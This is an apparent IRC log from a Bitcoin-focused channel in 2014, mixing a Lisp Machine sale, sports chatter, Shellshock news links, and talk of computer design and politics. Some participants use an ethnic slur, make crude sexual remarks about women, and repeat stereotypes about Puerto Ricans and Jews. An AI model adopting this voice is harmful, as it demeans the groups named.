;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically. |
19:49 |
assbot |
Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun! |
19:49 |
gribble |
Error: For identification purposes, you must be identified via GPG to use the order book. |
19:50 |
asciilifeform |
;;sell 1 "Symbolics 3620 Lisp Machine. Photos: http://www.loper-os.org/?p=51" at 3 btc must pick up in Washington, D.C. area, this item cannot be shipped economically. |
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19:50 |
assbot |
Loper OS » Lisp, Lisp, Lisp Machine, Lisp Machine is Fun! |
19:50 |
gribble |
Order id 21509 created. |
19:52 |
asciilifeform |
http://bitcoin-otc.com/vieworderbook.php << not looking so alive |
19:52 |
assbot |
#bitcoin-otc order book |
19:54 |
kakobrekla |
indeed |
19:55 |
BingoBoingo |
http://blackbag.gawker.com/the-pentagon-isnt-done-investigating-1-700-child-porn-c-1639433705/+leahfinnegan |
19:55 |
assbot |
The Pentagon Isn't Done Investigating 1,700 Child Porn Cases From 2006 |
19:57 |
asciilifeform |
even funnier, (linked) - http://blackbag.gawker.com/those-interceptor-fake-cell-phone-towers-are-in-washi-1637721419 |
19:57 |
assbot |
Those "Interceptor" Fake Cell Phone Towers Are in Washington D.C. Now |
19:58 |
BingoBoingo |
asciilifeform: Why must you temp me with interesting hardware at a time when I'm trying to condense necessary harware to fit onto Backpack |
19:58 |
* |
BingoBoingo is still surprised no one has bitten on the book I've listed in the orderbook |
19:58 |
asciilifeform |
BingoBoingo: i've been saving that thing so that i can ask it to be brought to my 'peine forte et dure.' |
19:58 |
asciilifeform |
but, one can only dream, of such a privilege nowadays. |
19:59 |
asciilifeform |
(it weighs ~60 kg!) |
19:59 |
asciilifeform |
the console - another 30 |
20:00 |
BingoBoingo |
Ah. So two of those could do most of the work in the 'peine forte et dure' |
20:00 |
BingoBoingo |
To compensate I imagine they follow with individual grains of sand... |
20:02 |
RagnarDanneskjol |
!up deedBot |
20:04 |
BingoBoingo |
;;ticker |
20:04 |
gribble |
Bitstamp BTCUSD ticker | Best bid: 404.17, Best ask: 405.64, Bid-ask spread: 1.47000, Last trade: 403.42, 24 hour volume: 9924.61680006, 24 hour low: 396.53, 24 hour high: 414.35, 24 hour vwap: 404.93824206 |
20:05 |
assbot |
[MPEX] [S.MPOE] 13088 @ 0.00074756 = 9.7841 BTC [-] |
20:06 |
asciilifeform |
BingoBoingo: https://www.google.com/patents/US6784591 << best lulz |
20:06 |
assbot |
Patent US6784591 - Gravitational wave generator utilizing submicroscopic energizable elements - Google Patents |
20:07 |
BingoBoingo |
What... the fuck... |
20:08 |
BingoBoingo |
http://drgrumpyinthehouse.blogspot.com/2014/09/memories.html |
20:08 |
assbot |
Doctor Grumpy in the House: Memories... |
20:11 |
BingoBoingo |
Airplane is solaris box and scada controllers, Airplane is Unix box with wings http://www.theguardian.com/commentisfree/video/2012/apr/19/cory-doctorow-regulation-computation-video time roughly 15:15 |
20:11 |
assbot |
There is a war coming: Cory Doctorow on the future regulation of general purpose computation video | Comment is free | The Guardian |
20:12 |
Duffer1 |
BingoBoingo, http://en.wikipedia.org/wiki/Speed_of_gravity |
20:12 |
assbot |
Speed of gravity - Wikipedia, the free encyclopedia |
20:14 |
asciilifeform |
as far as anyone can tell - equal to 'c' |
20:15 |
Duffer1 |
yep, but without the traditional propogation of a signal through wire |
20:16 |
BingoBoingo |
http://www.gomerblog.com/2014/09/resuscitate/ >> "Cons / Battery life is weak and Elmos chest cracks easily" |
20:16 |
assbot |
Product Review: Mattels Resuscitate Me Elmo - Medical Satire - GomerBlog |
20:16 |
Duffer1 |
presumably zero latency depending on the range of the receiving sensor |
20:17 |
Duffer1 |
er presumably zero latency, range dependant on receiving sensor |
20:18 |
asciilifeform |
if zero -> break sr |
20:18 |
asciilifeform |
talk backwards in time, or with 'parallel universes' - take your pick |
20:18 |
BingoBoingo |
Mega bezzel >> http://crazyrxman.blogspot.com/2014/09/another-reason-mail-order-pharmacy-sucks.html |
20:18 |
assbot |
Crazy RxMan: Another Reason Mail Order Pharmacy Sucks |
20:21 |
BingoBoingo |
Business makes other business its unpaid support line |
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20:43 |
BingoBoingo |
http://www.sportsonearth.com/article/96334428/college-football-week-5-viewers-guide-picks-previews?partnerId=as_mlb_20140927_32347396 |
20:43 |
assbot |
Top teams will attempt to avoid traps in Week 5 of college football. | SportsonEarth.com : Matt Brown Article |
20:50 |
BingoBoingo |
^ Maryland v. Indiana should be an interesting game. |
20:55 |
decimation |
the fact that maryland is in the big ten now his hilarious |
20:57 |
BingoBoingo |
decimation: Not really considering Illinois managed to stay in. Hilarious will be that in the next 5 years there is going to be a game where Maryland fucks the ever loving shit out of Ohio State. |
21:02 |
BingoBoingo |
decimation: What drives excitement in the college game is how disproportionately good the great players are in relation to replacement level. Hence Johnny Manziel singlehandedly making A&M competitive or Tevin Coleman avoiding a coma leading the Indiana upset over Missouri lastweekend almost on his own (Missouri's shitty center helped by not knowing how to snap the fucking ball to the quarterback) http://www.thedrinkingrecord.com/ |
21:02 |
assbot |
Bingo Blog | - of Bitcoin and Boingo |
21:02 |
BingoBoingo |
2014/09/22/a-rough-weekend-for-missouri-sports/ |
21:04 |
RagnarDanneskjol |
you follow SEC/ACC bingo? |
21:05 |
BingoBoingo |
RagnarDanneskjol: Mostly SEC/Big 12 |
21:05 |
BingoBoingo |
Curse of one of the ALma Maters. |
21:05 |
RagnarDanneskjol |
me too - they make other divisions look like JV imo |
21:06 |
BingoBoingo |
For the Most part. On the downside other divisions can produce some ridiculously dominant teams due to the lack of serious threats |
21:06 |
BingoBoingo |
See: Florida State |
21:06 |
RagnarDanneskjol |
oh yea |
21:07 |
BingoBoingo |
But I will admit last week's Mizzou loss, they might as well have fucking lost to Mckendree, another Alma Mater which only joined the NCAA 2 years ago, in D 2 |
21:08 |
RagnarDanneskjol |
right - that was pretty lame |
21:09 |
BingoBoingo |
But still Tevin Coleman, coming back from a near coma was a beast for Indiana. |
21:09 |
RagnarDanneskjol |
missed that one |
21:10 |
BingoBoingo |
Dude sat out the entire second quarter on an oxygen machine, game back the second half. Made game winning plays. Definitely making it into the Nfl if he doesn't get himself killed first. |
21:10 |
RagnarDanneskjol |
oh wow |
21:12 |
BingoBoingo |
The dude was on supplemental oxygen though before he came back. Why he didn't fucking cross the street to the hospital(s) you could see on camera I will never know. |
21:12 |
RagnarDanneskjol |
hmm |
21:13 |
BingoBoingo |
On the other side Mizzou's quarterback displayed spectacluar gymnastic feats of athleticism... merely getting the ball on completely fucked snaps. |
21:13 |
BingoBoingo |
Doubt He'll finish the season if they keep that center. |
21:15 |
BingoBoingo |
You can have a great quarterback, but it doesn't mean much if they have to burn time getting the ball in the first place instead of getting it downfield. |
21:15 |
RagnarDanneskjol |
exactly |
21:17 |
BingoBoingo |
But that's a hazard of the College game. Good players lose eligibility. Whereas in the NFL you can pick a position play to within 5lbs and 0.5 inches of the coach's ideal |
21:19 |
RagnarDanneskjol |
hmm. intersting point. I can't stand pro sports |
21:19 |
BingoBoingo |
College teams have to keep merely replacement level players from being a handicap. |
21:19 |
RagnarDanneskjol |
right |
21:21 |
BingoBoingo |
Well, I like baseball because the great players have the space to make careers. Same for hockey. In the NFL though, I tend to root for players over teams and hope they survive long enough to make it over the sub-two year average career. |
21:21 |
RagnarDanneskjol |
right - baseball is the exception |
21:22 |
BingoBoingo |
Right, because Derek Jeter gets to go out with dignity and... Brett Farve after all that CTE can't even continue to grasp hook up etiquette. |
21:22 |
RagnarDanneskjol |
ha |
21:24 |
BingoBoingo |
The NBA of course is its own different animal in that it is still recovering from Space Jam, Kazam, and everything but basketball being the center of attention |
21:25 |
BingoBoingo |
Baseball fucked itself pretty hard by discouraging anyone from liking good players with the PED witchhunt, but... At least it never had a Space Jam. |
21:28 |
BingoBoingo |
As great as Lebron is, his legacy is going to be compared to the Mega Stars from before the Internet gave such categories serious competition. |
21:29 |
RagnarDanneskjol |
mhmm |
21:29 |
BingoBoingo |
Baseball went through this in the 1960's though when neither Marris nor Mantle could be the next Babe Ruth. |
21:32 |
BingoBoingo |
Creeping up on the NFL (and College Football) is the specter of people prefering to watch games at the bar or at home. Combatting this so far has been teams declaring any Stadium older than 15 years obsolete, but all it takes is one city calling the bluff and chasing their team to Los Angeles for the pressure the NFL exerts to deflate. |
21:36 |
BingoBoingo |
Then there's the revenue sharing and salary cap shit in the NFL that makes me nauseous... Why should good teams have to disband their core in the same of salary caps? I have no problem with the idea that a Jeter and A Rod-less Yankee team will have Giancarlo Stanton, but salary caps a sa parity tool are even stupider in the NFL where they actually exist as most players careers end within two seasons. |
21:38 |
BingoBoingo |
lol, is anything wrong with ksh? >> http://www.csoonline.com/article/2688008/security-leadership/three-steps-you-need-to-take-to-avoid-overreacting-to-the-bash-bug.html |
21:38 |
assbot |
Three steps you need to take to avoid overreacting to the bash bug | CSO Online |
21:40 |
asciilifeform |
lol that turd reads like it was a 'mad libs' product |
21:40 |
asciilifeform |
with 'bash bug' inserted in a blank |
21:40 |
BingoBoingo |
asciilifeform: Well they probably already had the form letter ready |
21:41 |
* |
BingoBoingo is still rather sad there is interesting harware right down US 50 from himself, but it is too heavy to acquire. |
21:42 |
asciilifeform |
too heavy for what? |
21:42 |
BingoBoingo |
asciilifeform: Too heavy for Mexico backpack |
21:42 |
BingoBoingo |
And then checking in baggage from Neuvo Laredo to hardware BA |
21:45 |
BingoBoingo |
I'm coming to terms with my car running out of value to make it worth boating across the Darien |
21:48 |
BingoBoingo |
So likely the plan may or may not involve hoofing it that stretch and buying another motor vehicle |
21:48 |
asciilifeform |
BingoBoingo: presumably one-way trip ? |
21:49 |
BingoBoingo |
asciilifeform: Nah, I'll check out New Reno when it happens |
21:51 |
BingoBoingo |
The tragic flaw with TDV's Galts gultch Chile is that it could have been viabile if only instead they went for an apartment block in a city... |
21:51 |
asciilifeform |
what kind of 'gulch' would that be. |
21:52 |
asciilifeform |
the whole fantasy involves a 'hidden fortress' in some shangri-la |
21:54 |
BingoBoingo |
asciilifeform: And there's the trick. You can't have shangri-la without fresh nubile women, and you can't have a place for them to congregate without a city. By this metric a courtyard between building wings could be all the gultch necessary. |
21:55 |
BingoBoingo |
Hidden, Fortress, and neither compose a triangle. |
21:55 |
asciilifeform |
;;google mineshaft gap |
21:55 |
gribble |
Missile gap - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Missile_gap>; Dr. Strangelove - Wikipedia, the free encyclopedia: <http://en.wikipedia.org/wiki/Dr._Strangelove>; Mineshaft gap - Dr. Strangelove - YouTube: <http://www.youtube.com/watch?v=ybSzoLCCX-Y> |
21:55 |
BingoBoingo |
If you are worried about the mineshaft gap you are on the wrong continent |
21:56 |
BingoBoingo |
Africa where Ebola is about to become a permanent feature of life, or South America where anyone of worth from the remains of Rome settled are the extant options. |
21:57 |
asciilifeform |
BingoBoingo: Strangelove: 'Regrettably, yes. But it is, you know, a sacrifice required for the future of the human race. I hasten to add that since each man will be required to do prodigious...service along these lines, the women will have to be selected for their sexual characteristics which will have to be of a highly stimulating nature.' Russian Ambassador: 'I must confess, you have an astonishingly good ide |
21:57 |
asciilifeform |
a there, Doctor.' |
21:57 |
asciilifeform |
(re: 'mineshaft gap') |
21:57 |
BingoBoingo |
INdeed |
21:58 |
BingoBoingo |
Also note his beautiful calculator. |
22:00 |
BingoBoingo |
I wish I had the dexterity to handle clockwork in a creative way |
22:01 |
BingoBoingo |
"Lindhs NAS ran Bash alternative Dash by default and a tweet from security researcher Dragos Ruiu appeared to back up Lindhs early research. If derivatives of Bash are also vulnerable to Shellshock, this would widen the number of potential targets massively." << BADBOIS Guy >> http://www.theguardian.com/technology/2014/sep/26/bash-bug-shellshock-richard-stallman |
22:01 |
assbot |
Shellshock just 'a blip' says Richard Stallman as Bash bug attacks increase | Technology | theguardian.com |
22:01 |
asciilifeform |
what is rms holding in the photo? |
22:03 |
BingoBoingo |
looks like a bit of interesting chicom tech |
22:04 |
asciilifeform |
possibly 'loongson' |
22:04 |
asciilifeform |
(largely unobtainable outside of cn) |
22:04 |
BingoBoingo |
I thought he was always on longsoon now a days. I'd never seen one with a detaching keyboard though. |
22:05 |
asciilifeform |
looks like a miniature ('happyhacking' brand?) item |
22:06 |
BingoBoingo |
Are there any longsoons that aren't in miniature? |
22:06 |
asciilifeform |
no, the keyboard |
22:06 |
BingoBoingo |
Ah |
22:06 |
asciilifeform |
sat on top of the laptop |
22:08 |
BingoBoingo |
I was inclined to think that might be the laptop's own detached |
22:08 |
asciilifeform |
loongson (and, afaik, anyone else) does not sell such a thing |
22:09 |
BingoBoingo |
My brother's freshman year room mate I am told had a pantent on a similar detachable keyboard arrangement.Last I check as of 2007 the VC circus had enlarged his expectation's sphincter many guages |
22:10 |
asciilifeform |
trivially extend the cable that connects laptop keyboard. but, why?!? |
22:11 |
BingoBoingo |
asciilifeform: Because he was 17, paki, and his parents conditioned him for entrpreneuership. |
22:12 |
BingoBoingo |
In the interim my younger brother went to dental school, and... why the fuck didn't I do that... |
22:13 |
BingoBoingo |
Shit doesn't even require a sould cruching residency. |
22:15 |
BingoBoingo |
http://arstechnica.com/information-technology/2014/09/yahoo-killing-off-yahoo-after-20-years-of-hierarchical-organization/ |
22:15 |
assbot |
Yahoo killing off Yahoo after 20 years of hierarchical organization | Ars Technica |
22:16 |
* |
BingoBoingo thinks to DMOZ's undead fate |
22:16 |
BingoBoingo |
DMOZ being a project left for the people who aren't even good enough for wikipedia fail. |
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22:33 |
decimation |
this 'bash bug' is hilarious. one wonders who knew about it for the past few years, and who exploited it unawares... |
22:33 |
asciilifeform |
decimation: who knew << the author. |
22:33 |
asciilifeform |
and his handlers. |
22:33 |
kakobrekla |
dunno if its so easy to claim that |
22:33 |
decimation |
do we know who the author is? |
22:34 |
asciilifeform |
kakobrekla: https://www.uwgb.edu/dutchs/PSEUDOSC/WhyNoMiracles.HTM << obligatory |
22:34 |
assbot |
Why Science Can't Accept Miracles (Even if They Really Exist) |
22:34 |
asciilifeform |
this essay more or less explains why it is necessary to presume an author, and his handlers. |
22:34 |
asciilifeform |
even if there is no immediately visible 'smoking gun' |
22:35 |
kakobrekla |
alright ill take a look |
22:35 |
asciilifeform |
if you create a 'heartbleed' - you are a вредитель. and whether you did it intentionally, given the impossibility of proof - does not matter. |
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22:36 |
asciilifeform |
'If you're a defendant, you don't get to claim your fingerprints miraculously appeared at a crime scene... If you're a bookkeeper, you don't get to say money miraculously disappeared from your company...' |
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22:37 |
decimation |
http://log.bitcoin-assets.com/?date=27-08-2014#811885 |
22:37 |
assbot |
Logged on 27-08-2014 04:09:34; asciilifeform: if you (org.) want to keep secrets, the menu is roughly: a) employ incorruptible fanatics b) keep all henchmen incommunicado, in 'шарашка' prisons c) there is no 'c.' tertium non datur. |
22:37 |
decimation |
I think usg inspires a fair amount of zealotry actually |
22:37 |
asciilifeform |
decimation: mp added a c) if i recall: 'kill and bury the pyramid builders, blind the architect' |
22:40 |
decimation |
see the bitcoin/socom meeting in the link above http://log.bitcoin-assets.com/?date=26-09-2014#846156 |
22:40 |
assbot |
Logged on 26-09-2014 18:41:05; mats_cd03: http://www.cnbc.com/id/102033875 >> USSOCOM plugs bitcoin foundation... |
22:41 |
decimation |
what I find inexplicable is that you find folks in the us who absolutely hate everything about usg policies, in terms of how it mismanages wealth, fails to jail criminals, etc, and yet are willing to serve the military side |
22:41 |
kakobrekla |
asciilifeform do you claim you can write bugless code (maybe even given the right platform to do it on) |
22:42 |
asciilifeform |
kakobrekla: yes. |
22:42 |
kakobrekla |
pft! |
22:42 |
asciilifeform |
kakobrekla: what, you can't? |
22:42 |
decimation |
usg is the unintentional beneficiary of a great deal of "I want to make a difference" altruism |
22:42 |
asciilifeform |
kakobrekla: try, for instance, a bugless 'hello world' |
22:42 |
asciilifeform |
it isn't too much sweat. |
22:42 |
kakobrekla |
that one i could manage. |
22:42 |
kakobrekla |
maybe |
22:43 |
decimation |
it helps a great deal if the programming language you use guarantees proper memory allocation, bounds checking, etc. |
22:44 |
asciilifeform |
laugh, laugh. but most of what you expect from your computer is not -mathematically- more complicated than 'hello world.' |
22:44 |
asciilifeform |
mainly - moving bits from one place to another. |
22:44 |
decimation |
I became depressed by dijkstra when he demonstrated how impossible it would be to fully check a simple multiplier circuit |
22:45 |
asciilifeform |
decimation: the cure for this depression is to understand that a machine can be built to be -understood-. |
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22:45 |
asciilifeform |
rather than mathematicized-about. |
22:45 |
assbot |
Last 3 lines bashed and pending review. ( http://dpaste.com/04MWR5J.txt ) |
22:45 |
kakobrekla |
!b 3 |
22:46 |
kakobrekla |
i know what you are saying dec. |
22:46 |
asciilifeform |
imagine if the stone age had extended far beyond where it did, and man built gigantic stone swords. |
22:46 |
asciilifeform |
that needed a squadron of a dozen or more wielders, to swing it at all |
22:46 |
asciilifeform |
and they would work in synchrony, but of course imperfectly - and occasionally at cross purposes |
22:47 |
asciilifeform |
or squadron could contain enemy wrecker, imperceptibly and unprovably spoiling a swing |
22:47 |
asciilifeform |
even the best swings would be from among a very small set of simple strokes. |
22:47 |
asciilifeform |
then - somebody comes up with metallurgy, creates sword that one man can comfortably swing. |
22:48 |
asciilifeform |
entire universe of a difference. |
22:48 |
asciilifeform |
^ that is the kind of thing i mean by -understandable-. |
22:48 |
decimation |
the single wielder can certainly explore a larger set of swing-space |
22:49 |
asciilifeform |
when we are talking about a sword that a man can swing - or a computer system that 'fits' inside a single brain comfortably - this is a fundamental difference. |
22:49 |
asciilifeform |
like the difference between a shirt that fits and one which does not |
22:49 |
decimation |
the man 'understands' swinging in a subjective way? |
22:49 |
asciilifeform |
subjective only in the sense that people vary in size |
22:50 |
asciilifeform |
and if you really wish to know which 'swordsman' is more comfortable with his tool - let god of war decide. |
22:50 |
decimation |
well, one could argue that's why the lisp machine died out, right? |
22:50 |
asciilifeform |
could. |
22:50 |
asciilifeform |
swordsman can trip on banana peel |
22:51 |
asciilifeform |
then squadron with stone megacock can feel victorious, vindicated. |
22:51 |
kakobrekla |
:D |
22:52 |
decimation |
yeah the lisp machine was carried by only a precious handful of people, who were the enemies of ibm and everyone else who wanted to muscle into the space |
22:52 |
asciilifeform |
decimation: it is important to understand that lm was a specialist instrument - like the most elaborate electron microscope. |
22:52 |
asciilifeform |
it made no attempt to compete with, e.g., ibm anything |
22:52 |
asciilifeform |
existed in entirely separate universe |
22:53 |
asciilifeform |
just as 'bentley' does not compete with 'toyota' |
22:53 |
decimation |
ibm/wintel happened to pave over their niche though |
22:53 |
decimation |
plus symbolics decided to waste their money on california real estate or some such craziness |
22:53 |
asciilifeform |
toyota may in some sense with it could 'pave over' bentley, but reality does not care about this |
22:54 |
asciilifeform |
it is hilarious to read about all of the various nicks, bruises, paper cuts found on the corpse of symbolics corp. |
22:54 |
asciilifeform |
while ignoring the bullet hole in its head |
22:54 |
decimation |
what is the 'bullet hole'? |
22:54 |
asciilifeform |
(withdrawal of the infinite usg money it relied on - directly, and indirectly - through the major clients being usg ops) |
22:55 |
asciilifeform |
'artist picked the wrong medici' |
22:55 |
decimation |
yeah makes sense. intel, being of silicon valley, was always a little more insulated from usg |
22:56 |
decimation |
its clients all were all arms of usg, but it wasn't directly supported by usg |
22:56 |
asciilifeform |
intel did not instrinsically - by its very nature - rely on rich prince |
22:56 |
asciilifeform |
symbolics - did |
22:56 |
asciilifeform |
because it was not selling a plebe product. |
22:56 |
asciilifeform |
go and try market a scanning electron microscope for consumer market. |
22:57 |
decimation |
rich princes being famous for their fickle tastes |
22:58 |
BingoBoingo |
Related http://deadspin.com/diamondbacks-fire-grit-lord-kirk-gibson-1639670513 |
22:58 |
assbot |
Diamondbacks Fire Grit Lord Kirk Gibson |
22:58 |
asciilifeform |
the other interesting observation is that lm in 1980s was expensive for far different reason than it would be today |
22:58 |
asciilifeform |
and it would be far more expensive today! |
22:59 |
asciilifeform |
then - the sheer quantity of logic necessary. |
23:00 |
asciilifeform |
why it would be quite expensive today - i'll leave as an exercise for anyone still awake. |
23:00 |
BingoBoingo |
why it would be quite expensive today - i'll leave as an exercise for anyone still awake. << People who could make it, exceedingly expensive today if hired for the task of making it. |
23:01 |
asciilifeform |
nope. |
23:01 |
* |
asciilifeform could easily make, and would work for room & board |
23:01 |
decimation |
logic is much cheaper |
23:02 |
BingoBoingo |
asciilifeform could easily make, and would work for room & board << Because you love the idea of it |
23:02 |
decimation |
one would become an enemy of the wintel bezzle lords |
23:02 |
asciilifeform |
the reason is entirely mundane |
23:03 |
decimation |
although that has not stopped arm |
23:03 |
asciilifeform |
if you had a truly clean break with the age of turdware - |
23:03 |
asciilifeform |
there would be a market for about six machines. |
23:03 |
asciilifeform |
divide the r&d and production cost by that figure. that's how much each unit would have to cost to... break even. |
23:03 |
decimation |
ah, you would have to rewrite bezzle wintel software stack |
23:03 |
asciilifeform |
forget even this |
23:03 |
asciilifeform |
you'd have to come up with your own... dram |
23:04 |
decimation |
heh yeah |
23:04 |
asciilifeform |
bus topology |
23:04 |
asciilifeform |
etc |
23:04 |
decimation |
I would throw ddr in the trash |
23:04 |
asciilifeform |
i've argued in the past that you have to ditch... binary. if you want to be rid of the 'floating point' abomination. |
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23:05 |
asciilifeform |
likewise, for dataflow cpu fabric (the only truly reasonable way to build a computer) - existing logic synthesis methods are unsuitable. |
23:05 |
decimation |
oh yeah, so I was thinking about why people use floating point to answer mp's question |
23:05 |
BingoBoingo |
So... the ferguson thing looks like it might turn into open war... |
23:05 |
asciilifeform |
even the gate libraries used by extant semiconductor fab houses would have to be thrown. |
23:05 |
decimation |
it is because of the dynamic range allowed in a single blob |
23:06 |
Duffer1 |
BingoBoingo, i haven't been following it, riots yet? |
23:06 |
BingoBoingo |
Duffer1: They never really stopped |
23:06 |
BingoBoingo |
http://www.mediaite.com/online/ferguson-police-chief-sparks-riots-after-trying-to-join-protesters-calling-for-his-resignation/ |
23:06 |
assbot |
Ferguson Police Chief Sparks Riots After Trying to Join Protesters Calling for His Resignation | Mediaite |
23:06 |
Duffer1 |
ah |
23:07 |
BingoBoingo |
Fat chief joined a crowd calling for his resignation. What result can be expected. |
23:07 |
BingoBoingo |
Not really a question. |
23:07 |
Duffer1 |
seen this one yet Bingo? (turn it down) http://www.nbcnews.com/news/us-news/ex-south-carolina-state-trooper-charged-over-traffic-stop-shooting-n211156 |
23:07 |
assbot |
Ex-South Carolina State Trooper Charged Over Traffic Stop Shooting - NBC News |
23:07 |
BingoBoingo |
Saw that one. |
23:08 |
decimation |
asciilifeform: most fpgas are not very suitable either |
23:08 |
asciilifeform |
decimation: this is discussed on my site. |
23:08 |
decimation |
yeah the old xilinx part |
23:08 |
BingoBoingo |
Duffer1: Notice how quickly that "officer" was indicted for something? |
23:09 |
Duffer1 |
good things there was video of it |
23:09 |
BingoBoingo |
"Officer" in quotes because in the Western tradition the roles of "officer" and enlisted are different. |
23:11 |
asciilifeform |
BingoBoingo: https://www.youtube.com/watch?v=N1HEqagVO9g << possibly interesting to you |
23:11 |
assbot |
Poma Ads: Hypercard Commercial Report (1987) - YouTube |
23:12 |
BingoBoingo |
Following the Anglos on anything has never been a good move though. Ever since the vowel shift turned the Britons into Barbarians at least. |
23:13 |
Duffer1 |
oh damn i'm sure those "i am darren wilson" bracelets didn't help the situation much lol |
23:13 |
Duffer1 |
good lord |
23:13 |
BingoBoingo |
I fully endorse hypercard |
23:14 |
asciilifeform |
BingoBoingo: virtually none of my readers showed any signs of liking it for the same reason i did. |
23:14 |
asciilifeform |
generally, they like it 'because pretty ux buttons' |
23:14 |
BingoBoingo |
Duffer1: You have to understand Middle Western understated racism is a more dangerous creature than Angola prison for a reason. |
23:15 |
BingoBoingo |
asciilifeform: I tended to like it because in Highschool I had Hypercard, a giant TI-89, ot Compaq dos |
23:15 |
BingoBoingo |
*or |
23:15 |
asciilifeform |
or that. nostalgia. |
23:15 |
decimation |
I used hp-48gx in high school |
23:16 |
asciilifeform |
(i haven't any for it. i actually associate the environment it ran on with school, which was a misery) |
23:17 |
decimation |
I remember trying hypercard in school, but I was introduced too late - didn't understand why it was more compelling than hypertext |
23:17 |
asciilifeform |
decimation: the reason - understandability. |
23:17 |
asciilifeform |
the totality thereof. |
23:17 |
* |
BingoBoingo also used hypercard astonishingly to keep my dick wet, organizing girls into nights of the week. |
23:17 |
decimation |
yeah hypercard enabled 'regular humans' to actually 'program' |
23:18 |
decimation |
the closest thing in modern mac os is the 'automater' tool, but it's not maintained |
23:18 |
asciilifeform |
again, unrelated. |
23:18 |
asciilifeform |
the abominable 'english-like' scripting language lured various people who thought they could never stomach programming into trying |
23:18 |
BingoBoingo |
decimation: The beauty was you could program without the quotes, until the PPC port |
23:18 |
asciilifeform |
but this is neither here nor there. |
23:18 |
asciilifeform |
that aspect - never appealed to me |
23:18 |
asciilifeform |
never needed this sugar |
23:19 |
asciilifeform |
to understand what is 'understandability' - look at its opposite. |
23:19 |
asciilifeform |
sussman, surrendering to decay: |
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23:19 |
asciilifeform |
'You have to do basic science on your libraries to see how they work, trying out different inputs and seeing how the code reacts.' |
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23:19 |
decimation |
something like how xml is written in plain text but ususually completely opaque |
23:20 |
asciilifeform |
(discussed here, for example - https://news.ycombinator.com/item?id=603856 ) |
23:20 |
assbot |
It it just me who is seeing a cowardly surrender to cultural decay here? From th... | Hacker News |
23:20 |
BingoBoingo |
decimation: Only when MIcrosoft, Red Hat, or Oracle touches it. |
23:22 |
assbot |
[MPEX] [S.MPOE] 2608 @ 0.00074947 = 1.9546 BTC [+] |
23:23 |
decimation |
yeah I remember that sussman quote, it is depressing |
23:24 |
BingoBoingo |
reeses: https://xkcd.com/298/ << Actually dreamed a lucrative tablet game last night. Background is a topless redhead. Foreground is "Space Invaders" goal is to keep falling apples from covering the nipples. |
23:24 |
assbot |
xkcd: Tesla Coil |
23:27 |
* |
BingoBoingo has kind of come to appreciate the crazy of TempleOS |
23:27 |
decimation |
that guy is seriously crazy |
23:28 |
BingoBoingo |
of course he is, but who said that is necessarily wrong? |
23:28 |
asciilifeform |
decimation: 'crazy' is the reason he actually got to work! |
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23:29 |
asciilifeform |
by his own admission - he was rescued from labouring as a programmer by 'disability' pension from usg. |
23:29 |
BingoBoingo |
TempleOS is basically x86-64 playgroung |
23:29 |
asciilifeform |
which required a certification of insanity |
23:29 |
asciilifeform |
in his case |
23:29 |
* |
BingoBoingo wishes he could have such a grand form of crazy. |
23:29 |
asciilifeform |
so we do not actually know how much he is truly batshit, and how much - is just playing the necessary role. |
23:29 |
assbot |
Last 1 lines bashed and pending review. ( http://dpaste.com/3MN5G3T.txt ) |
23:29 |
BingoBoingo |
!b 1 |
23:30 |
assbot |
[MPEX] [S.MPOE] 24450 @ 0.00075117 = 18.3661 BTC [+] {3} |
23:30 |
asciilifeform |
i have often direly envied the man his schizophrenia - or acting skills, as the case may be. |
23:31 |
BingoBoingo |
asciilifeform: The differentiation is indeed difficult. I dunno that his flavor exists in the new DSM V |
23:32 |
BingoBoingo |
DSM IV-TR has some contending designations. |
23:32 |
asciilifeform |
and then there is the undocumented talmud used by usg bureaucrats to determine who qualifies for lifetime pensions. |
23:32 |
BingoBoingo |
IS that match/mismatch an indicator of acting or otherwise? |
23:34 |
decimation |
apparently sabu of anonymous was living in a usg welfare apartment |
23:34 |
asciilifeform |
as did limonov. |
23:36 |
BingoBoingo |
Don't forget Thermos and Nefario... |
23:37 |
decimation |
sabu was a puerto rican - an island that raises living off usg largess to an art form |
23:37 |
asciilifeform |
a professional scammer not scamming usg also, would be like a pro mechanic who won't fix own car |
23:37 |
decimation |
http://cnsnews.com/news/article/13-population-puerto-rico-gets-food-stamps-2-billion-2012 |
23:37 |
assbot |
1/3 Population of Puerto Rico Gets Food Stamps--$2 Billion in 2012 | CNS News |
23:38 |
asciilifeform |
decimation: approximately - food stamps are given to groups, rather than people. not formally, of course - but in practice. |
23:38 |
asciilifeform |
if you are not part of one of these groups - you will not be in the running for any handouts in usa. |
23:38 |
asciilifeform |
limonov - was in such a group. |
23:38 |
asciilifeform |
one such |
23:38 |
asciilifeform |
puerto rico is one such group today |
23:39 |
decimation |
limonov was crazy? |
23:39 |
BingoBoingo |
Thor: http://valleywag.gawker.com/uber-driver-charged-for-bashing-a-passenger-in-the-head-1639711808/+leahfinnegan |
23:39 |
assbot |
Uber Driver Charged for Bashing a Passenger In the Head With a Hammer |
23:39 |
asciilifeform |
no. he was a russian/jewish emigre in '70s |
23:40 |
decimation |
ah, so 'favored ally' of the fdr socialists running things in that era |
23:40 |
BingoBoingo |
decimation> ah, so 'favored ally' of the fdr socialists running things in that era << Not so limited. To Understand the West you have to understand their hard ons, Jews and Isis. |
23:41 |
decimation |
I don't get the jews. why do they care about jews? They are just a small subset of europeans among the unwashed masses of europeans |
23:41 |
* |
danielpbarron slaps decimation around a bit with a large Bible |
23:42 |
decimation |
danielpbarron: don't tell me you are dispensationalist? |
23:43 |
BingoBoingo |
decimation: Jews because they are the non-ISIS middle east hedgemon, gotta catch them ALL, HEDGEMON!!! |
23:43 |
danielpbarron |
i'm not sure what that means, decimation |
23:45 |
BingoBoingo |
decimation: danielpbarron Is a Christan warrior of an Olde school |
23:45 |
decimation |
among other things, a sect of Christianity that is premillennial, some of whom believe that the jews must be gathered in the middle east to start the end of the world and Jesus's return |
23:47 |
asciilifeform |
decimation: 'favored ally' of the fdr socialists << nope. of the anti-soviet u.s. 'backbone' |
23:47 |
BingoBoingo |
decimation: danielpbarron's Xtianity may be older, pre-vowel shift |
23:47 |
asciilifeform |
decimation: engineered 'brain drain' was a weapon in use at the time |
23:47 |
danielpbarron |
God causes all things; there is no "need to." |
23:48 |
asciilifeform |
decimation: folks from soviet blok were lured with imaginary 'nice' jobs, the proverbial fifty types of sausage, posh cars, etc. |
